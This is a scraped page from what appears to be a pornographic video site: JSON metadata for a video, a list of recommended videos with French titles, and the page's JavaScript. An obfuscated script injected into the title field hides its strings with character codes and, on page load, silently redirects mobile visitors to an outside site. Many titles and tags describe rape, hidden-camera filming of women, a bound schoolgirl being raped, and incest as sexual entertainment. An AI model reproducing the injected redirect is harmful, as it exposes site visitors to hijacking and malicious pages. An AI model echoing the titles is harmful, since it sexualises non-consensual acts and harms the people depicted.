</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Formation de voyeurisme interne - Une employée de bureau aux formes généreuses, filmée à son insu alors qu'elle travaillait tard le soir, a été violée une seconde fois par le voyeur et est progressivement devenue obsédée par l'espion Waka ADN-609-C
Formation de voyeurisme interne - Une employée de bureau aux formes généreuses, filmée à son insu alors qu'elle travaillait tard le soir, a été violée une seconde fois par le voyeur et est progressivement devenue obsédée par l'espion Waka ADN-609-C","site_id":0,"video_url":"https://2605.v155p.com/20260616/UO8QnpFl/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvM2NjNDA2M2I5ZTNhYjIxYTBlYWNjNmI2NTFkM2ExNjQuanBn.cache","duration":"01:58:02","actor":[],"lastmod":1783766805,"rating":"2.0","view_count":922,"description":"Entraînement d'espionnage - Une employée de bureau aux formes généreuses a été filmée à son insu alors qu'elle travaillait tard le soir, puis violée une seconde fois par le voyeur. Elle est progressivement devenue obsédée par l'espion. Waka ADN-609-C","tag":["Espionnage","former","tard dans la nuit","faire des heures supplémentaires","Être photographié(e) à son insu","Tournage clandestin","gros seins","col blanc","Voyeur","Le deuxième","Deuxième","râpé","Toxicomane"],"site_url":"176451","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["中文字幕"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvM2NjNDA2M2I5ZTNhYjIxYTBlYWNjNmI2NTFkM2ExNjQuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"内奸偷窥训练 - 深夜加班时被偷拍的巨乳白领,被偷窥者第二次强奸,逐渐沉迷于内奸 Waka ADN-609-C","s_keywords":"内奸偷窥训练 - 深夜加班时被偷拍的巨乳白领,被偷窥者第二次强奸,逐渐沉迷于内奸 Waka ADN-609-C","s_description":"Formation de voyeurisme interne - Une employée de bureau aux formes généreuses, filmée à son insu alors qu'elle travaillait tard le soir, a été violée une seconde fois par le voyeur et est progressivement devenue obsédée par l'espion Waka ADN-609-C","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjUvMTc4MjYyMzdkODUyZTQ2YzMyODRiNjM5MzAyNmU1ZjkuanBn.cache","vod_id":19059494,"title":"Scène d'adultère filmée en secret : une enseignante masochiste aux gros seins sombre dans la perversion et se livre à des jeux sexuels parent-enfant obscènes. Hamabe Kanho JYMA_068","lastmod":"2025-10-24","duration":"02:02:05","url":"/play/19059494.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTllODQ5ZmU0ZTU5OTFmYWFmMzFiYjk2YmQ1MGQxMTEuanBn.cache","vod_id":19023099,"title":"HND722 Akase Naoko, une femme au foyer plantureuse à la constitution sensible, sujette à l'éjaculation précoce et aux orgasmes corporels complets, travaille dans un magasin de bains moussants à éjaculation illimitée.","lastmod":"2025-03-24","duration":"01:58:09","url":"/play/19023099.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDdhOWFkNmNhNTI1MGNhNDE2MmQzZmYxNzE2MmMzMzcuanBn.cache","vod_id":18970492,"title":"Les clichés exceptionnels de Guo Ge, photographe vedette de Xiuren.com ✅ Poitrines généreuses, jambes interminables, mannequins sexy dévoilant leurs atouts lors de séances photos privées ✅ Fesses rebondies, vulve serrée, ultra tentantes, sans eau, images originales 4K","lastmod":"2025-03-23","duration":"00:31:23","url":"/play/18970492.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzYzNTE4MjcyMmNiMmY3ODE0MDA0ZmUxNDU4OGYwNGUuanBn.cache","vod_id":18981206,"title":"[Non censuré] JUNY-084 L'infirmière Reina Kuroki, avec des seins de taille J et du sperme dans les toilettes, tombe entre les mains des professeurs et des élèves.","lastmod":"2025-03-23","duration":"02:33:10","url":"/play/18981206.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzJhYTZmMzliMDAwYjRiZmEwY2VmNWFjOWZhMzI4ZDYuanBn.cache","vod_id":19001480,"title":"JUY-580 Plus une femme mariée paraît ordinaire, plus le contraste est saisissant lorsqu'elle se laisse aller à la sensualité. Une femme mariée de 31 ans, avec une forte poitrine et des yeux brillants (taille estimée I), rencontrée sur une application de rencontres.","lastmod":"2025-03-23","duration":"03:12:20","url":"/play/19001480.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjA4YzQxMjU0Yjk3YmNkMTgyMmE3NTdjZDliZDgxMDYuanBn.cache","vod_id":18987774,"title":"CLUB-373 Voyeurisme honnête et honteux : Bien qu'il soit américain, il a quand même ramené deux jolies filles dans sa chambre, les a fait éjaculer 22 fois et leur a même donné une pénétration.","lastmod":"2025-03-23","duration":"03:57:28","url":"/play/18987774.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDkwOTU3Nzg5NjU3NzMwODhlNGJiZGJhZjExYjhmNmYuanBn.cache","vod_id":18923855,"title":"FC2PPV-1200509 (avec mosaïque) [Amateur x Black 3P x Cumshot] Accro aux énormes pénis des hommes noirs !? Des soldats noirs insèrent leurs énormes pénis dans le corps d'une jeune fille amateur de 20 ans très sensible.","lastmod":"2025-12-14","duration":"01:01:37","url":"/play/18923855.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGYyZTAzMmE5NDZlYTc2ZjA5YjYxZWYxMDRiZGEyYzIuanBn.cache","vod_id":19024502,"title":"MIDV356C [Il semble s'agir du titre ou de la description d'un roman/d'une nouvelle, possiblement liée à une infirmière à forte poitrine incapable de bouger et décrite comme ayant des seins explosifs et une stimulation clitoridienne.]","lastmod":"2025-03-24","duration":"02:01:03","url":"/play/19024502.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmI2MTBjM2FkODZkNWM2OTJjMzQ2NWZmMmZiN2ZkMWUuanBn.cache","vod_id":18948410,"title":"[Sous-titres chinois] UMSO-276 La vendeuse aux formes généreuses de mon vidéoclub préféré","lastmod":"2025-03-22","duration":"03:17:23","url":"/play/18948410.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTAvYjMwOGUwYmM4ODA5ZTlkYTFkODE0MGRmOThmYWQzMzAuanBn.cache","vod_id":19037664,"title":"HUNTA-535 Alors que nous nous prélassions dans une source thermale avec mes deux sœurs, l'une plus âgée, l'autre plus jeune, toutes deux aux formes généreuses, j'ai soudainement eu une érection et nous avons même commis l'inceste ! C'était un voyage en famille ; cela faisait longtemps que nous n'étions pas allés ensemble dans une source thermale.","lastmod":"2025-06-10","duration":"03:29:26","url":"/play/19037664.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjI5OWIwNGY1ZmVkNzFmNzE3NzFjNjU3YWQwNzU2MTkuanBn.cache","vod_id":18945285,"title":"Une jeune femme aux formes généreuses se masturbe tard dans la nuit dans une cage d'escalier, s'appliquant du rouge à lèvres et un vibromasseur jusqu'à l'orgasme. C'est très excitant et séduisant ; à ne pas manquer si cela vous plaît.","lastmod":"2025-12-14","duration":"01:25:51","url":"/play/18945285.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTBkNjA0YjRjY2Y5MmM4MTc5ZTNiMmQ1NmZhNTdhYzkuanBn.cache","vod_id":18974159,"title":"VIO-12 Superbe fessier, entraînement anal, salon de massage lesbien intense","lastmod":"2025-03-23","duration":"01:58:46","url":"/play/18974159.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGE3YjU4ZGQwZjNkZWMwOGNhNGYzMmNjOTZlNTViYjcuanBn.cache","vod_id":19013470,"title":"DVAJ433 Kawakami Nanami, une employée qui a été formée pour être physiquement sensible et sujette à l'éjaculation précoce en raison du harcèlement fréquent des tétons par son patron.","lastmod":"2025-03-24","duration":"02:29:18","url":"/play/19013470.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2RmODU0OGJmNThjZjI5YTg5YmRiNWFkZTIyYzQwODIuanBn.cache","vod_id":18961194,"title":"[Sous-titres chinois] COGM-037 J'ai pris un bain moussant avec la plantureuse (nom de famille) Fuwako (prénom) et ensuite nous avons fait l'amour toute la nuit.","lastmod":"2025-03-22","duration":"01:49:03","url":"/play/18961194.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTE5MWQ2MTViNTgxMjdkYWFhZGFkZTYyMTIwNjRiZGIuanBn.cache","vod_id":19008922,"title":"PPPD743 et la célèbre hôtesse, une femme mariée aux formes généreuses, font l'amour sans interruption depuis trois jours... JULIA.","lastmod":"2025-03-24","duration":"01:56:45","url":"/play/19008922.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGFhZDM1M2RiNDAzNDEzNmEyYzNlNjA3YWQ2OGU1MmEuanBn.cache","vod_id":18938409,"title":"Une femme de bureau sexy et sublime retrouve son beau manager chez elle après le travail pour une rencontre passionnée. Ils s'adonnent à diverses positions et à une pénétration intense avant de passer au canapé du salon pour une autre séance de sexe. (Mandarin)","lastmod":"2025-12-14","duration":"00:16:10","url":"/play/18938409.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMTViMGZmZGUwNDdmY2UwODE4MTY0MzVjYWRjM2JmN2IuanBn.cache","vod_id":19162091,"title":"Club de recherche sur les mangas érotiques - Ma professeure principale, Yumion, était réputée pour être si lubrique que la membre à forte poitrine et sans lunettes m'a prise pour Yumi Shion MOODYZ","lastmod":"2026-07-11","duration":"02:41:02","url":"/play/19162091.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWVkYTAzOGRhMDUzZTJkN2Y4OTJmMTMxZmYxODE0NmMuanBn.cache","vod_id":18959700,"title":"DOCP-370 Caméra cachée sur la fille d'à côté - L'enregistrement des 1000 jours de Moon~","lastmod":"2025-12-14","duration":"02:30:20","url":"/play/18959700.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDAyNmRlNTQzMmI0MzBhYzViNWJjMjJiM2IyYzgzZTQuanBn.cache","vod_id":19139895,"title":"troisième beauté chinoise aux formes généreuses","lastmod":"2026-01-23","duration":"54:50","url":"/play/19139895.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2U5MTU0ODcwNGQ3MTQ4YTQxOTFhMzBkNjMwOGRlMzAuanBn.cache","vod_id":18985005,"title":"FC2PPV 3838638 [Non censuré] Japon-Europe amicale ! Guide touristique aux formes généreuses (bonnet K). Un tour du monde filmé par un amateur : « Première étape : l'Europe de l'Est ».","lastmod":"2025-03-23","duration":"00:49:48","url":"/play/18985005.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2Q4NjliZGExOWE5NDc3YTgyOWJmMmFmNzNjYzk1YmUuanBn.cache","vod_id":18994151,"title":"SSNI-510 Shion Yumi, une écolière plantureuse en uniforme, est complètement ligotée et violée.","lastmod":"2025-03-23","duration":"02:26:54","url":"/play/18994151.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTgwMjcxMDk4ZjdjMzMxOWI4MDU0YjQzODBlMWM4NDguanBn.cache","vod_id":18948616,"title":"KTKC-056 Une étudiante de 18 ans originaire d'une zone rurale, avec une forte poitrine, portant des lunettes ordinaires, marmonnant à propos de sa taille de bonnet I, se faufile dans le dortoir des filles.","lastmod":"2025-03-22","duration":"02:23:03","url":"/play/18948616.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZDBiNTA0YzliOWU4MzgyMjQ4NGZmMDZlYjdkMmNiNjIuanBn.cache","vod_id":19149401,"title":"[Miracle] J'ai commandé une livreuse et c'était une amie du quartier, une vraie bombe ! Incroyable !! 8 MDBK-400","lastmod":"2026-03-21","duration":"02:20:13","url":"/play/19149401.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjIzYjE3YzRkNDZmZDM5MTlkZWQyYjE0MTlmZjkyOTguanBn.cache","vod_id":18971658,"title":"PPPD-706 Veuillez me livrer mon esclave à seins... Entraînement à l'exhibition des seins, chasse aux hommes. Rika Komiyayama","lastmod":"2025-12-14","duration":"01:59:33","url":"/play/18971658.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Formation de voyeurisme interne - Une employée de bureau aux formes généreuses, filmée à son insu alors qu'elle travaillait tard le soir, a été violée une seconde fois par le voyeur et est progressivement devenue obsédée par l'espion Waka ADN-609-C',
language: 'fr',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Lien copié !');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Lien copié !');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Lien copié !');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}